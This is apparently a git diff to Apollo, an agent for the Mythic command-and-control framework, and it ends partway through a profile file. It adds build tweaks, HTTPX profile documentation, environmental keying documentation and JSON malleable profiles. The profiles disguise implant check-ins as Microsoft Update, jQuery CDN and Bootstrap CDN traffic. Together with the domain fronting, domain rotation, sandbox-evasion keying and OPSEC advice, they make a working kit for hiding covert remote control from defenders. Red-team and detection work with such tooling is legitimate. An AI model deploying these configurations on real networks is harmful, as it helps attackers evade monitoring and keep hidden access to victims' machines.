+ shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ExecuteAssembly/ExecuteAssembly.csproj -o {}/ExecuteAssembly/bin/Release/ --verbosity quiet".format(
agent_build_path.name, agent_build_path.name
)
proc = await asyncio.create_subprocess_shell(
diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/execute_pe.py b/Payload_Type/apollo/apollo/mythic/agent_functions/execute_pe.py
index b4c024cc..4f2807b9 100644
--- a/Payload_Type/apollo/apollo/mythic/agent_functions/execute_pe.py
+++ b/Payload_Type/apollo/apollo/mythic/agent_functions/execute_pe.py
@@ -126,7 +126,7 @@ async def build_exepe(self):
agent_build_path.name
)
copy_tree(str(self.agent_code_path), agent_build_path.name)
- shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ExecutePE/ExecutePE.csproj -o {}/ExecutePE/bin/Release".format(
+ shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ExecutePE/ExecutePE.csproj -o {}/ExecutePE/bin/Release --verbosity quiet".format(
agent_build_path.name, agent_build_path.name
)
proc = await asyncio.create_subprocess_shell(
diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/load.py b/Payload_Type/apollo/apollo/mythic/agent_functions/load.py
index bd9bf721..d13f2451 100644
--- a/Payload_Type/apollo/apollo/mythic/agent_functions/load.py
+++ b/Payload_Type/apollo/apollo/mythic/agent_functions/load.py
@@ -174,7 +174,7 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat
f.write(templateFile.encode())
outputPath = "{}/Tasks/bin/Release/Tasks.dll".format(agent_build_path.name)
- shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/Tasks/Tasks.csproj -o {}/Tasks/bin/Release/".format(agent_build_path.name, agent_build_path.name)
+ shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/Tasks/Tasks.csproj -o {}/Tasks/bin/Release/ --verbosity quiet".format(agent_build_path.name, agent_build_path.name)
proc = await asyncio.create_subprocess_shell(shell_cmd, stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE, cwd=agent_build_path.name)
stdout, stderr = await proc.communicate()
diff --git a/README.md b/README.md
index bca85219..49d5eb8c 100644
--- a/README.md
+++ b/README.md
@@ -25,6 +25,9 @@ Once installed, restart Mythic to build a new agent.
- Unmanged PE, .NET Assembly, and PowerShell Script Execution
- User Exploitation Suite
- SOCKSv5 Support
+- Advanced HTTPX Profile with Malleable Configuration Support
+- Message Transform Support (Base64, NetBIOS, XOR, etc.)
+- Domain Rotation and Proxy Support
## Commands Manual Quick Reference
@@ -100,6 +103,10 @@ whoami | `whoami`
The HTTP profile calls back to the Mythic server over the basic, non-dynamic profile. When selecting options to be stamped into Apollo at compile time, all options are respected with the exception of those parameters relating to GET requests.
+### [HTTPX Profile](https://github.com/MythicC2Profiles/httpx)
+
+Advanced HTTP profile with malleable configuration support and message transforms. Provides significantly more flexibility and OPSEC benefits compared to the basic HTTP profile, making it ideal for red team operations.
+
### [SMB Profile](https://github.com/MythicC2Profiles/smb)
Establish communications over SMB named pipes. By default, the named pipe name will be a randomly generated GUID.
@@ -108,6 +115,10 @@ Establish communications over SMB named pipes. By default, the named pipe name w
Establish communications over a specified network socket. Note: If unelevated, the user may receive a prompt to allow communications from the binary to occur over the network.
+### [WebSocket Profile](https://github.com/MythicC2Profiles/websocket)
+
+Establish communications over WebSocket connections for real-time bidirectional communication.
+
## SOCKSv5 Support
Apollo can route SOCKS traffic regardless of what other commands are compiled in. To start the socks server, issue `socks -Port [port]`. This starts a SOCKS server on the Mythic server which is `proxychains4` compatible. To stop the SOCKS proxy, navigate to the SOCKS page in the Mythic UI and terminate it.
diff --git a/agent_capabilities.json b/agent_capabilities.json
index 9a479ccc..1678e137 100644
--- a/agent_capabilities.json
+++ b/agent_capabilities.json
@@ -9,7 +9,7 @@
},
"payload_output": ["exe", "shellcode", "service", "source"],
"architectures": ["x86_64"],
- "c2": ["http", "smb", "tcp", "websocket"],
+ "c2": ["http", "smb", "tcp", "websocket", "httpx"],
"mythic_version": "3.4.6",
"agent_version": "2.4.2",
"supported_wrappers": ["service_wrapper", "scarecrow_wrapper"]
diff --git a/documentation-payload/apollo/c2_profiles/HTTPX.md b/documentation-payload/apollo/c2_profiles/HTTPX.md
new file mode 100644
index 00000000..fab20564
--- /dev/null
+++ b/documentation-payload/apollo/c2_profiles/HTTPX.md
@@ -0,0 +1,515 @@
++++
+title = "HTTPX"
+chapter = false
+weight = 103
++++
+
+## Summary
+Advanced HTTP profile with malleable configuration support and message transforms for enhanced OPSEC. Based on the httpx C2 profile with extensive customization options.
+
+### Profile Options
+
+#### Callback Domains
+Array of callback domains to communicate with. Supports multiple domains for redundancy and domain rotation.
+
+**Example:** `https://example.com:443,https://backup.com:443`
+
+#### Domain Rotation
+Domain rotation pattern for handling multiple callback domains:
+
+- **fail-over**: Uses each domain in order until communication fails, then moves to the next
+- **round-robin**: Cycles through domains for each request
+- **random**: Randomly selects a domain for each request
+
+#### Failover Threshold
+Number of consecutive failures before switching to the next domain in fail-over mode.
+
+**Default:** 5
+
+#### Callback Interval in seconds
+Time to sleep between agent check-ins.
+
+**Default:** 10
+
+#### Callback Jitter in percent
+Randomize the callback interval within the specified threshold.
+
+**Default:** 23
+
+#### Encrypted Exchange Check
+**Required:** Must be true. The HTTPX profile uses RSA-4096 key exchange (EKE) for secure communication and cannot operate without it. This ensures all traffic is encrypted with client-side generated keys.
+
+**Default:** true (Cannot be disabled)
+
+#### Kill Date
+The date at which the agent will stop calling back.
+
+**Default:** 365 days from build
+
+#### Raw C2 Config
+JSON configuration file defining malleable profile behavior. If not provided, uses default configuration.
+
+### proxy_host
+Proxy server hostname or IP address for outbound connections.
+
+**Example:** `proxy.company.com`
+
+### proxy_port
+Proxy server port number.
+
+**Example:** `8080`
+
+### proxy_user
+Username for proxy authentication (if required).
+
+### proxy_pass
+Password for proxy authentication (if required).
+
+### domain_front
+Domain fronting header value. Sets the `Host` header to this value for traffic obfuscation.
+
+**Example:** `cdn.example.com`
+
+### timeout
+Request timeout in seconds for HTTP connections.
+
+**Default:** `240`
+
+## Security: RSA Key Exchange (EKE)
+
+The HTTPX profile implements EKE using client-side generated RSA keys for secure communication:
+
+- **RSA Key Size:** 4096-bit key pairs generated on the agent side
+- **Exchange Process:** Agent generates an RSA keypair and sends the public key to Mythic, which responds with an encrypted session key
+- **Security:** All communication is encrypted using this negotiated session key
+- **Requirement:** EKE is mandatory and cannot be disabled in the HTTPX profile
+
+This ensures that even if the communication is intercepted, without the private key on the agent, the traffic remains encrypted.
+
+## Malleable Profile Configuration
+
+The httpx profile supports extensive customization through malleable profiles defined in JSON format.
+
+### Configuration Structure
+
+```json
+{
+ "name": "Profile Name",
+ "get": {
+ "verb": "GET",
+ "uris": ["/api/status", "/health"],
+ "client": {
+ "headers": {
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
+ },
+ "parameters": {
+ "version": "1.0",
+ "format": "json"
+ },
+ "message": {
+ "location": "query",
+ "name": "data"
+ },
+ "transforms": [
+ {
+ "action": "base64",
+ "value": ""
+ }
+ ]
+ },
+ "server": {
+ "headers": {
+ "Content-Type": "application/json",
+ "Server": "nginx/1.18.0"
+ },
+ "transforms": [
+ {
+ "action": "base64",
+ "value": ""
+ }
+ ]
+ }
+ },
+ "post": {
+ "verb": "POST",
+ "uris": ["/api/data", "/submit"],
+ "client": {
+ "headers": {
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
+ "Content-Type": "application/x-www-form-urlencoded"
+ },
+ "message": {
+ "location": "body",
+ "name": ""
+ },
+ "transforms": [
+ {
+ "action": "base64",
+ "value": ""
+ }
+ ]
+ },
+ "server": {
+ "headers": {
+ "Content-Type": "application/json",
+ "Server": "nginx/1.18.0"
+ },
+ "transforms": [
+ {
+ "action": "base64",
+ "value": ""
+ }
+ ]
+ }
+ }
+}
+```
+
+### Message Locations
+
+Messages can be placed in different parts of HTTP requests:
+
+- **body**: Message in request body (default for POST)
+- **query**: Message as query parameter
+- **header**: Message in HTTP header
+- **cookie**: Message in HTTP cookie
+
+### Transform Actions
+
+The following transform actions are supported:
+
+#### base64
+Standard Base64 encoding/decoding.
+
+#### base64url
+URL-safe Base64 encoding/decoding (uses `-` and `_` instead of `+` and `/`).
+
+#### netbios
+NetBIOS encoding (lowercase). Each byte is split into two nibbles and encoded as lowercase letters.
+
+#### netbiosu
+NetBIOS encoding (uppercase). Each byte is split into two nibbles and encoded as uppercase letters.
+
+#### xor
+XOR encryption with specified key.
+
+**Example:**
+```json
+{
+ "action": "xor",
+ "value": "mysecretkey"
+}
+```
+
+#### prepend
+Prepend data with specified value.
+
+**Example:**
+```json
+{
+ "action": "prepend",
+ "value": "prefix"
+}
+```
+
+#### append
+Append data with specified value.
+
+**Example:**
+```json
+{
+ "action": "append",
+ "value": "suffix"
+}
+```
+
+### Transform Chains
+
+Transforms are applied in sequence. For client transforms, they are applied in order. For server transforms, they are applied in reverse order to decode the data.
+
+**Example Transform Chain:**
+```json
+"transforms": [
+ {
+ "action": "xor",
+ "value": "secretkey"
+ },
+ {
+ "action": "base64",
+ "value": ""
+ },
+ {
+ "action": "prepend",
+ "value": "data="
+ }
+]
+```
+
+## Example Malleable Profiles
+
+### Microsoft Update Profile
+```json
+{
+ "name": "Microsoft Update",
+ "get": {
+ "verb": "GET",
+ "uris": [
+ "/msdownload/update/v3/static/trustedr/en/authrootstl.cab",
+ "/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab"
+ ],
+ "client": {
+ "headers": {
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
+ "Accept-Encoding": "gzip, deflate",
+ "Connection": "Keep-Alive",
+ "Cache-Control": "no-cache",
+ "User-Agent": "Microsoft-CryptoAPI/10.0"
+ },
+ "parameters": null,
+ "message": {
+ "location": "query",
+ "name": "cversion"
+ },
+ "transforms": [
+ {
+ "action": "base64url",
+ "value": ""
+ }
+ ]
+ },
+ "server": {
+ "headers": {
+ "Content-Type": "application/vnd.ms-cab-compressed",
+ "Server": "Microsoft-IIS/10.0",
+ "X-Powered-By": "ASP.NET",
+ "Connection": "keep-alive",
+ "Cache-Control": "max-age=86400"
+ },
+ "transforms": [
+ {
+ "action": "xor",
+ "value": "updateKey2025"
+ },
+ {
+ "action": "base64",
+ "value": ""
+ },
+ {
+ "action": "prepend",
+ "value": "MSCF\u0000\u0000\u0000\u0000"
+ },
+ {
+ "action": "append",
+ "value": "\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000"
+ }
+ ]
+ }
+ },
+ "post": {
+ "verb": "POST",
+ "uris": [
+ "/msdownload/update/v3/static/feedbackapi/en/feedback.aspx"
+ ],
+ "client": {
+ "headers": {
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
+ "Accept-Encoding": "gzip, deflate",
+ "Connection": "Keep-Alive",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "User-Agent": "Microsoft-CryptoAPI/10.0"
+ },
+ "parameters": null,
+ "message": {
+ "location": "body",
+ "name": "feedback"
+ },
+ "transforms": [
+ {
+ "action": "xor",
+ "value": "feedbackKey"
+ },
+ {
+ "action": "base64",
+ "value": ""
+ }
+ ]
+ },
+ "server": {
+ "headers": {
+ "Content-Type": "text/html; charset=utf-8",
+ "Server": "Microsoft-IIS/10.0",
+ "X-Powered-By": "ASP.NET",
+ "Connection": "keep-alive",
+ "Cache-Control": "no-cache, no-store"
+ },
+ "transforms": [
+ {
+ "action": "xor",
+ "value": "responseKey"
+ },
+ {
+ "action": "base64",
+ "value": ""
+ },
+ {
+ "action": "prepend",
+ "value": "Feedback Submitted"
+ },
+ {
+ "action": "append",
+ "value": "
"
+ }
+ ]
+ }
+ }
+}
+```
+
+### jQuery CDN Profile
+```json
+{
+ "name": "jQuery CDN",
+ "get": {
+ "verb": "GET",
+ "uris": [
+ "/jquery-3.3.0.min.js"
+ ],
+ "client": {
+ "headers": {
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
+ "Accept-Encoding": "gzip, deflate",
+ "Connection": "Keep-Alive",
+ "Keep-Alive": "timeout=10, max=100",
+ "Referer": "http://code.jquery.com/",
+ "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
+ },
+ "parameters": null,
+ "message": {
+ "location": "cookie",
+ "name": "__cfduid"
+ },
+ "transforms": [
+ {
+ "action": "base64url",
+ "value": ""
+ }
+ ]
+ },
+ "server": {
+ "headers": {
+ "Cache-Control": "max-age=0, no-cache",
+ "Connection": "keep-alive",
+ "Content-Type": "application/javascript; charset=utf-8",
+ "Pragma": "no-cache",
+ "Server": "NetDNA-cache/2.2"
+ },
+ "transforms": [
+ {
+ "action": "xor",
+ "value": "randomKey"
+ },
+ {
+ "action": "base64",
+ "value": ""
+ },
+ {
+ "action": "prepend",
+ "value": "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */"
+ },
+ {
+ "action": "append",
+ "value": "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"
+ }
+ ]
+ }
+ },
+ "post": {
+ "verb": "POST",
+ "uris": [
+ "/jquery-3.3.0.min.js"
+ ],
+ "client": {
+ "headers": {
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
+ "Accept-Encoding": "gzip, deflate",
+ "Referer": "http://code.jquery.com/",
+ "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
+ },
+ "parameters": null,
+ "message": {
+ "location": "body",
+ "name": ""
+ },
+ "transforms": [
+ {
+ "action": "xor",
+ "value": "someOtherRandomKey"
+ }
+ ]
+ },
+ "server": {
+ "headers": {
+ "Cache-Control": "max-age=0, no-cache",
+ "Connection": "keep-alive",
+ "Content-Type": "application/javascript; charset=utf-8",
+ "Pragma": "no-cache",
+ "Server": "NetDNA-cache/2.2"
+ },
+ "transforms": [
+ {
+ "action": "xor",
+ "value": "yetAnotherSomeRandomKey"
+ },
+ {
+ "action": "base64",
+ "value": ""
+ },
+ {
+ "action": "prepend",
+ "value": "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */"
+ },
+ {
+ "action": "append",
+ "value": "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"
+ }
+ ]
+ }
+ }
+}
+```
+
+## Migration from HTTP Profile
+
+To migrate from the basic HTTP profile to httpx:
+
+1. **Update C2 Profile**: Change from "http" to "httpx" in your payload configuration
+2. **Configure Domains**: Set callback domains instead of single callback host
+3. **Add Malleable Profile**: Upload a JSON configuration file via the "Raw C2 Config" parameter
+4. **Test Configuration**: Verify the profile works with your infrastructure
+
+## OPSEC Considerations
+
+- Use realistic User-Agent strings that match your target environment
+- Choose URIs that blend with legitimate traffic patterns
+- Implement appropriate transforms to obfuscate communication
+- Consider domain rotation for redundancy and evasion
+- Test profiles against network monitoring tools
+- Use HTTPS endpoints when possible
+- Implement proper error handling and fallback mechanisms
+
+## Troubleshooting
+
+### Common Issues
+
+1. **Transform Errors**: Ensure transform chains are properly configured and reversible
+2. **Domain Resolution**: Verify all callback domains are accessible
+3. **Profile Validation**: Check JSON syntax and required fields
+4. **Header Conflicts**: Avoid conflicting or invalid HTTP headers
+
+### Debug Tips
+
+- Start with simple base64 transforms before adding complex chains
+- Test profiles with small payloads first
+- Use network monitoring tools to verify traffic patterns
+- Check server logs for any configuration issues
diff --git a/documentation-payload/apollo/c2_profiles/_index.md b/documentation-payload/apollo/c2_profiles/_index.md
index 8b727128..9476d823 100644
--- a/documentation-payload/apollo/c2_profiles/_index.md
+++ b/documentation-payload/apollo/c2_profiles/_index.md
@@ -7,4 +7,12 @@ pre = "3. "
# Available C2 Profiles
+Apollo supports multiple C2 profiles for different communication methods and OPSEC requirements:
+
+- **HTTP**: Basic HTTP communication profile
+- **HTTPX**: Advanced HTTP profile with malleable configuration
+- **SMB**: Named pipe communication over SMB
+- **TCP**: Direct TCP socket communication
+- **WebSocket**: Real-time bidirectional WebSocket communication
+
{{% children %}}
\ No newline at end of file
diff --git a/documentation-payload/apollo/opsec/_index.md b/documentation-payload/apollo/opsec/_index.md
index f52f3e8c..4eb5a5c5 100644
--- a/documentation-payload/apollo/opsec/_index.md
+++ b/documentation-payload/apollo/opsec/_index.md
@@ -13,6 +13,7 @@ Below are considerations about Apollo's underlying behavior that may affect deci
- [Evasion](/agents/apollo/opsec/evasion/)
- [Fork and Run Commands](/agents/apollo/opsec/forkandrun/)
- [Injection](/agents/apollo/opsec/injection/)
+- [Environmental Keying](/agents/apollo/opsec/keying/)
## Example Artifacts
diff --git a/documentation-payload/apollo/opsec/keying.md b/documentation-payload/apollo/opsec/keying.md
new file mode 100644
index 00000000..95d3b165
--- /dev/null
+++ b/documentation-payload/apollo/opsec/keying.md
@@ -0,0 +1,161 @@
++++
+title = "Environmental Keying"
+chapter = false
+weight = 103
++++
+
+## Environmental Keying in Apollo
+
+Environmental keying is a technique that restricts agent execution to specific systems. If the keying check fails, the agent will exit immediately and silently without executing any code or attempting to connect to the C2 server.
+
+### Purpose
+
+Environmental keying helps protect against:
+- Accidental execution on unintended systems
+- Sandbox detonation and automated analysis
+
+### Keying Methods
+
+Apollo supports three methods of environmental keying:
+
+#### 1. Hostname Keying
+
+The agent will only execute if the machine's hostname matches the specified value.
+
+**Use Case:** When you know the exact hostname of your target system.
+
+**Example:** If you set the keying value to `WORKSTATION-01`, the agent will only run on a machine with that exact hostname.
+
+**Security:** Secure (hash-based)
+
+#### 2. Domain Keying
+
+The agent will only execute if the machine's domain name matches the specified value. Domain matching is forgiving and checks both the full domain and individual parts.
+
+**Use Case:** When targeting systems within a specific Active Directory domain.
+
+**Example:** If you set the keying value to `CONTOSO`, the agent will match:
+- Full domain: `CONTOSO.LOCAL`
+- Full domain: `CORP.CONTOSO.COM`
+- Domain part: `CONTOSO` (from `CONTOSO.LOCAL`)
+- Domain part: `CONTOSO` (from `CORP.CONTOSO.COM`)
+
+This flexibility handles cases where `Environment.UserDomainName` may return different formats (e.g., `CONTOSO` vs `CONTOSO.LOCAL`).
+
+**Security:** Secure (hash-based)
+
+#### 3. Registry Keying
+
+The agent will only execute if a specific registry value matches or contains the specified value. This method offers two comparison modes:
+
+**Matches Mode (Secure - Recommended):**
+- Uses SHA256 hash comparison
+- The registry value must exactly match the keying value (case-insensitive)
+- Hash stored in binary, not plaintext
+- More secure but requires exact match
+
+**Contains Mode (WEAK - Use with Caution):**
+- Uses plaintext substring comparison
+- The registry value must contain the keying value anywhere within it
+- ⚠️ **WARNING:** Stores the keying value in **PLAINTEXT** in the binary
+- ⚠️ **WARNING:** Easily extracted with strings command
+- More flexible but significantly less secure
+
+**Example Matches Mode:**
+```
+Registry Path: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName
+Registry Value: Windows 10 Pro
+Comparison: Matches
+```
+Agent executes only if the ProductName exactly matches "Windows 10 Pro"
+
+**Example Contains Mode (WEAK):**
+```
+Registry Path: HKLM\SOFTWARE\Company\Product\InstallID
+Registry Value: UniqueInstallGUID-12345
+Comparison: Contains
+```
+Agent executes if InstallID contains "UniqueInstallGUID-12345" anywhere in the value
+
+**Registry Path Format:**
+`HIVE\SubKey\Path\To\ValueName`
+
+Supported hives:
+- `HKLM` or `HKEY_LOCAL_MACHINE`
+- `HKCU` or `HKEY_CURRENT_USER`
+- `HKCR` or `HKEY_CLASSES_ROOT`
+- `HKU` or `HKEY_USERS`
+- `HKCC` or `HKEY_CURRENT_CONFIG`
+
+### Configuration
+
+During the agent build process, you can enable keying through the build parameters:
+
+1. **Enable Keying** - Check this box to enable environmental keying
+2. **Keying Method** - Select "Hostname", "Domain", or "Registry"
+3. **For Hostname/Domain:**
+ - **Keying Value** - Enter the hostname or domain name to match (case-insensitive)
+4. **For Registry:**
+ - **Registry Path** - Full path including hive, subkey, and value name
+ - **Registry Value** - The value to check against
+ - **Registry Comparison** - "Matches" (secure, hash-based) or "Contains" (WEAK, plaintext)
+
+### Implementation Details
+
+- **Hash-Based Storage (Hostname/Domain/Registry-Matches):** The keying value is never stored in plaintext in the agent binary. Instead, a SHA256 hash of the uppercase value is embedded
+- **Plaintext Storage (Registry-Contains):** ⚠️ When using Registry keying with "Contains" mode, the value is stored in **plaintext** in the binary - easily extractable
+- **Uppercase Normalization:** All values (except Registry-Contains mode) are converted to uppercase before hashing to ensure consistent matching regardless of case
+- **Runtime Hashing:** During execution, the agent hashes the current hostname/domain/registry-value and compares it to the stored hash
+- **Forgiving Domain Matching:** For domain keying, the agent checks:
+ 1. The full domain name (e.g., `CORP.CONTOSO.LOCAL`)
+ 2. Each part split by dots (e.g., `CORP`, `CONTOSO`, `LOCAL`)
+
+### Example Scenarios
+
+**Scenario 1: Targeted Workstation**
+```
+Enable Keying: Yes
+Keying Method: Hostname
+Keying Value: FINANCE-WS-42
+```
+This agent will only execute on the machine named `FINANCE-WS-42`.
+
+**Scenario 2: Domain-Wide Campaign**
+```
+Enable Keying: Yes
+Keying Method: Domain
+Keying Value: CONTOSO
+```
+This agent will execute on machines where the domain contains `CONTOSO`:
+- Machines in domain `CONTOSO` ✅
+- Machines in domain `CONTOSO.LOCAL` ✅
+- Machines in domain `CORP.CONTOSO.COM` ✅
+- Machines in domain `FABRIKAM.COM` ❌
+
+**Scenario 3: Registry Keying (Matches - Secure)**
+```
+Enable Keying: Yes
+Keying Method: Registry
+Registry Path: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName
+Registry Value: Windows 10 Enterprise
+Registry Comparison: Matches
+```
+This agent will only execute on systems running Windows 10 Enterprise (exact match).
+
+**Scenario 4: Registry Keying (Contains - WEAK)**
+```
+Enable Keying: Yes
+Keying Method: Registry
+Registry Path: HKLM\SOFTWARE\YourCompany\CustomApp\InstallID
+Registry Value: SecretMarker-ABC123
+Registry Comparison: Contains
+```
+This agent will execute on systems where the registry value contains "SecretMarker-ABC123" anywhere.
+⚠️ WARNING: "SecretMarker-ABC123" is stored in plaintext in the binary.
+
+**Scenario 5: No Keying (Default)**
+```
+Enable Keying: No
+```
+This agent will execute on any system (traditional behavior).
+
diff --git a/malleable-profile-examples/cdn-asset-delivery.json b/malleable-profile-examples/cdn-asset-delivery.json
new file mode 100644
index 00000000..e1dd01ef
--- /dev/null
+++ b/malleable-profile-examples/cdn-asset-delivery.json
@@ -0,0 +1,133 @@
+{
+ "name": "CDN Asset Delivery Service",
+ "get": {
+ "verb": "GET",
+ "uris": [
+ "/assets/bootstrap-5.3.2.min.css",
+ "/cdn/bootstrap/5.3.2/css/bootstrap.min.css",
+ "/static/libs/bootstrap/css/bootstrap.min.css"
+ ],
+ "client": {
+ "headers": {
+ "Accept": "text/css,*/*;q=0.1",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "en-US,en;q=0.9",
+ "Connection": "keep-alive",
+ "Cache-Control": "no-cache",
+ "Pragma": "no-cache",
+ "Referer": "https://cdn.example.net/",
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"
+ },
+ "parameters": {
+ "v": "5.3.2",
+ "t": "20240415"
+ },
+ "message": {
+ "location": "cookie",
+ "name": "__cdn_session"
+ },
+ "transforms": [
+ {
+ "action": "xor",
+ "value": "cdnAssetDelivery2024"
+ },
+ {
+ "action": "base64url",
+ "value": ""
+ }
+ ]
+ },
+ "server": {
+ "headers": {
+ "Cache-Control": "public, max-age=31536000, immutable",
+ "Connection": "keep-alive",
+ "Content-Type": "text/css; charset=utf-8",
+ "Content-Encoding": "gzip",
+ "ETag": "\"5.3.2-abc123\"",
+ "Server": "Cloudflare",
+ "CF-Ray": "8a1b2c3d4e5f6789-ORD"
+ },
+ "transforms": [
+ {
+ "action": "prepend",
+ "value": "/*! Bootstrap v5.3.2 | MIT License */"
+ },
+ {
+ "action": "xor",
+ "value": "cdnResponseKey2024"
+ },
+ {
+ "action": "base64url",
+ "value": ""
+ },
+ {
+ "action": "append",
+ "value": "/* End Bootstrap */"
+ }
+ ]
+ }
+ },
+ "post": {
+ "verb": "POST",
+ "uris": [
+ "/assets/bootstrap-5.3.2.min.css",
+ "/cdn/bootstrap/5.3.2/css/bootstrap.min.css",
+ "/static/libs/bootstrap/css/bootstrap.min.css"
+ ],
+ "client": {
+ "headers": {
+ "Accept": "text/css,*/*;q=0.1",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "en-US,en;q=0.9",
+ "Connection": "keep-alive",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Origin": "https://cdn.example.net",
+ "Referer": "https://cdn.example.net/",
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"
+ },
+ "parameters": null,
+ "message": {
+ "location": "body",
+ "name": ""
+ },
+ "transforms": [
+ {
+ "action": "xor",
+ "value": "cdnPostDelivery2024"
+ },
+ {
+ "action": "base64",
+ "value": ""
+ }
+ ]
+ },
+ "server": {
+ "headers": {
+ "Cache-Control": "no-cache, no-store, must-revalidate",
+ "Connection": "keep-alive",
+ "Content-Type": "text/css; charset=utf-8",
+ "Server": "Cloudflare",
+ "CF-Ray": "8a1b2c3d4e5f6790-ORD",
+ "X-Content-Type-Options": "nosniff"
+ },
+ "transforms": [
+ {
+ "action": "prepend",
+ "value": "/*! Bootstrap v5.3.2 | MIT License */"
+ },
+ {
+ "action": "xor",
+ "value": "cdnPostResponse2024"
+ },
+ {
+ "action": "base64",
+ "value": ""
+ },
+ {
+ "action": "append",
+ "value": "/* End Bootstrap */"
+ }
+ ]
+ }
+ }
+}
\ No newline at end of file
diff --git a/malleable-profile-examples/cloud-analytics.json b/malleable-profile-examples/cloud-analytics.json
new file mode 100644
index 00000000..a4387865
--- /dev/null
+++ b/malleable-profile-examples/cloud-analytics.json
@@ -0,0 +1,141 @@
+{
+ "name": "Cloud Analytics Platform",
